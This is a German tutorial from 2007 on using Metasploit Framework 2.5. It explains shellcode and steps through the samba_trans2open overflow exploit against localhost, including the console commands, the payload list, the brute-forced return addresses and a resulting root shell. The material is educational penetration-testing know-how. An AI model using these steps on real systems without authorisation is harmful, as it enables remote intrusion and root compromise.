Home arrow Papers arrow Papers (German) arrow Metasploit Framework Teil 1 (German)

main

Home
Blog
IRC


Netgarage RSS Feed
Linux Powered
Hacker Emblem
Apache 2.0 Power
Valid XHTML








Metasploit Framework Teil 1 (German)
Written by synack   
Friday, 18 May 2007
Der Text gibt einen kurzen Ueberblick ueber die aktuelle Version des Metasploit Framework und erklaert die Benutzung am Beispiel eines Samba Exploits. Das Metasploit Framework (http://www.metasploit.org/) ist ein Werkzeug, welches die immer wiederkehrenden Schritte bei der Entwicklung von Exploits vereinfachen soll. Exploits die einen Netzwerkdienst angreifen und das Ausfuehren von beliebigem Code erlauben folgen fast alle einem festen Schema, welches soweit wie moeglich bereits im Metasploit Framework implementiert ist. Jeder Exploit dieser Art sendet sog. Shellcode an den verwundbaren Dienst. Shellcode besteht aus Maschinencode, d.h. Code in der Form wie er im Arbeitspeicher waehrend der Ausfuehrung eines Programms vorhanden ist. Dieser Maschinencode laesst sich als Hexadezimalzahl ausdruecken und kann in dieser Form auch ueber eine Netzwerkverbindung an den Zielprozess geschickt werden. Das Entwickeln von Shellcode ist ein zeitaufwendiger Prozess der die Verfuegbarkeit der Zielarchitektur und Wissen ueber deren Programmierung vorraussetzt. Das Metasploit Framework bietet fertigen Shellcode fuer unterschiedliche Architekturen und Betriebssysteme.
Bei der Auswahl von Shellcode muss der Entwickler eines Exploits zunaechst festlegen fuer welche Prozessorarchitektur der Code sein soll. Am weitesten verbreitet ist hier die x86 Architektur. Als naechstes muss sich der Entwickler fuer ein Betriebssystem entscheiden, wie z.b. Linux oder Windows. Als letztes muss sich der Entwickler ueberlegen, was der Shellcode ueberhaupt fuer eine Funktion haben soll. Der traditionelle Shellcode fuer Unix-artige Systeme fuehrt einen System Call aus der das Programm /bin/sh startet. Daher stammt auch der Name Shellcode, da es sich hierbei eben um Maschinencode handelt, der eine Shell ausfuehrt. Eine sehr weit verbreitet Variante von diesem klassischen Shellcode ist Code der einen TCP Socket oeffnet und eine Shell startet sobald eine Verbindung zu diesem Port aufgebaut wurde.

Das Metasploit Framework enthaelt etliche fertige Exploits fuer Sicherheitsluecken in verschiedenen Anwendungen, wie z.B. Samba, PHP, Apache, MS SQL Server, etc. Um einen solchen Exploit zu benutzen startet man zunaechst die interaktive Konsole "msfconsole".

  1. ------------------------------------------------------------------------------------------------------------------------
  2. $ msfconsole
  3.  
  4.  
  5.                 __.                       .__.        .__. __.
  6.   _____   _____/  |______    ____________ |  |   ____ |__|/  |_
  7.  /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
  8. |  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
  9. |__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
  10.       \/     \/          \/     \/ |__|
  11.  
  12.  
  13. + -- --=[ msfconsole v2.5 [105 exploits - 74 payloads]
  14. ------------------------------------------------------------------------------------------------------------------------


Als erstes waehlt man einen Exploit aus. Dazu kann man sich mit "show exploits" die Liste aller verfuegbaren Exploits anzeigen lassen. Mit "use samba_trans2open"  waehlt man beispielsweise den Exploit fuer eine Sicherheitsluecke im Samba Paket aus, der in der Funktion "trans2open" in den Versionen 2.0.0 bis 2.2.8 enthalten ist.

------------------------------------------------------------------------------------------------------------------------
msf > use samba_trans2open
msf samba_trans2open > info samba_trans2open

      Name: Samba trans2open Overflow
     Class: remote
   Version: $Revision: 1.37 $
 Target OS: linux, bsd
  Keywords: samba
Privileged: Yes
Disclosure: Apr 7 2003

Provided By:
    H D Moore <hdm [at] metasploit.com>

Available Targets:
    Linux x86
    FreeBSD x86

Available Options:

    Exploit:    Name      Default    Description
    --------    ------    -------    ----------------------------
    optional    DEBUG                Enable debugging mode
    optional    SRET                 Use specified return address
    required    RHOST                The target address
    required    RPORT     139        The samba port

Payload Information:
    Space: 734
    Avoid: 1 characters
   | Keys: noconn tunnel bind findsock reverse

Nop Information:
 SaveRegs: esp ebp
   | Keys:

Encoder Information:
   | Keys:

Description:
    This exploits the buffer overflow found in Samba versions 2.2.0 to
    2.2.8. This particular module is capable of exploiting the bug on
    x86 Linux and FreeBSD systems.

References:
    http://www.osvdb.org/4469
    http://www.digitaldefense.net/labs/advisories/DDI-1013.txt
    http://milw0rm.com/metasploit.php?id=53
------------------------------------------------------------------------------------------------------------------------

Als naechstes muessen einige Variablen gesetzt werden. Die Variable RHOST ("remote host") gibt die IP Adresse oder den Hostnamen des Zielrechners an.  Die Variable RPORT, den Port. Im Fall des trans2open Exploits ist dieser Wert standardmaessig auf den Samba Standardport 139 gesetzt. Das Setzen der Variablen  erfolgt mit dem "set" Kommando. Die Variable TARGET gibt an fuer welches Betriebssystem und welche Prozessorarchitektur der Shellcode sein soll, den der Exploit verwendet. Nachdem man mit dem "use" Kommando einen Exploit ausgewaehlt hat werden die verfuegbaren Werte fuer TARGET angezeigt, sowie weitere Variablen die fuer diesen Exploit gesetzt sein muessen oder optional gesetzt werden koennen (z.B. DEBUG).

------------------------------------------------------------------------------------------------------------------------
msf samba_trans2open > set TARGET 0
TARGET -> 0
msf samba_trans2open > set RHOST 127.0.0.1
RHOST -> 127.0.0.1
------------------------------------------------------------------------------------------------------------------------

Der letzte Schritt ist die Auswahl der payload.

------------------------------------------------------------------------------------------------------------------------
msf samba_trans2open > show payloads

Metasploit Framework Usable Payloads
====================================

  bsd_ia32_bind                  BSD IA32 Bind Shell
  bsd_ia32_bind_stg              BSD IA32 Staged Bind Shell
  bsd_ia32_exec                  BSD IA32 Execute Command
  bsd_ia32_findrecv              BSD IA32 Recv Tag Findsock Shell
  bsd_ia32_findrecv_stg          BSD IA32 Staged Findsock Shell
  bsd_ia32_findsock              BSD IA32 SrcPort Findsock Shell
  bsd_ia32_reverse               BSD IA32 Reverse Shell
  bsd_ia32_reverse_stg           BSD IA32 Staged Reverse Shell
  linux_ia32_adduser             Linux IA32 Add User
  linux_ia32_bind                Linux IA32 Bind Shell
  linux_ia32_bind_stg            Linux IA32 Staged Bind Shell
  linux_ia32_exec                Linux IA32 Execute Command
  linux_ia32_findrecv            Linux IA32 Recv Tag Findsock Shell
  linux_ia32_findrecv_stg        Linux IA32 Staged Findsock Shell
  linux_ia32_findsock            Linux IA32 SrcPort Findsock Shell
  linux_ia32_reverse             Linux IA32 Reverse Shell
  linux_ia32_reverse_impurity    Linux IA32 Reverse Impurity Upload/Execute
  linux_ia32_reverse_stg         Linux IA32 Staged Reverse Shell
  linux_ia32_reverse_udp         Linux IA32 Reverse UDP Shell

msf samba_trans2open > set PAYLOAD linux_ia32_bind
PAYLOAD -> linux_ia32_bind
msf samba_trans2open(linux_ia32_bind) >
------------------------------------------------------------------------------------------------------------------------

Die payload "linux_ia32_bind" ist der bereits beschriebene Shellcode der einen TCP Socket oeffnet und bei Verbindungsaufbau eine Shell startet. Das Zielbetriebssystem ist Linux und die Prozessorarchitektur ia32 (intel architecture 32 bit). Nachdem alle Parameter konfiguriert sind wird der Exploit einfach mit dem Kommando "exploit" gestartet. Eventuell muessen sehr viele Versuche durchgefuehrt werden bis der Exploit erfolgreich ist, da sich die Ruecksprungadresse nicht immer eindeutig bestimmen laesst. Verschiedene Versionen der Zielsoftware, Compiler und andere Umstaende koennen Variationen im Code und im Speicherlayout zur Folge haben. Daher enthalten Exploits oft Anweisungen um aus einem Speicherbereich alle Adressen durchzuprobieren.

------------------------------------------------------------------------------------------------------------------------
msf samba_trans2open(linux_ia32_bind) > exploit
[*] Starting Bind Handler.
[*] Starting bruteforce mode for target Linux x86
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffbfc...
[*] Trying return address 0xbffff9fc...
[*] Trying return address 0xbffff7fc...
[*] Trying return address 0xbffff5fc...
[*] Trying return address 0xbffff3fc...
[*] Trying return address 0xbffff1fc...
[*] Trying return address 0xbfffeffc...
[*] Trying return address 0xbfffedfc...
[*] Trying return address 0xbfffebfc...

------SNIP------

[*] Trying return address 0xbfddcdfc...
[*] Trying return address 0xbfddcbfc...
[*] Trying return address 0xbfddc9fc...
[*] Trying return address 0xbfddc7fc...
[*] Trying return address 0xbfddc5fc...
[*] Trying return address 0xbfddc3fc...
[*] Trying return address 0xbfddc1fc...
[*] Trying return address 0xbfddbffc...
[*] Trying return address 0xbfddbdfc...
[*] Trying return address 0xbfddbbfc...
[*] Trying return address 0xbfddb9fc...
[*] Trying return address 0xbfddb7fc...
[*] Got connection from 127.0.0.1:38956 <-> 127.0.0.1:4444

pwd
/tmp
whoami
root
------------------------------------------------------------------------------------------------------------------------

Wie man sieht war der Exploit in diesem konkreten Fall bei der Ruecksprungadresse 0xbfddb7fc erfolgreich. Das Metasploit Framework baut automatisch eine Verbindung zum geoeffneten Port auf und ermoeglicht die Interaktion mit der gestarteten Shell.
Last Updated ( Friday, 18 May 2007 )
 
Next >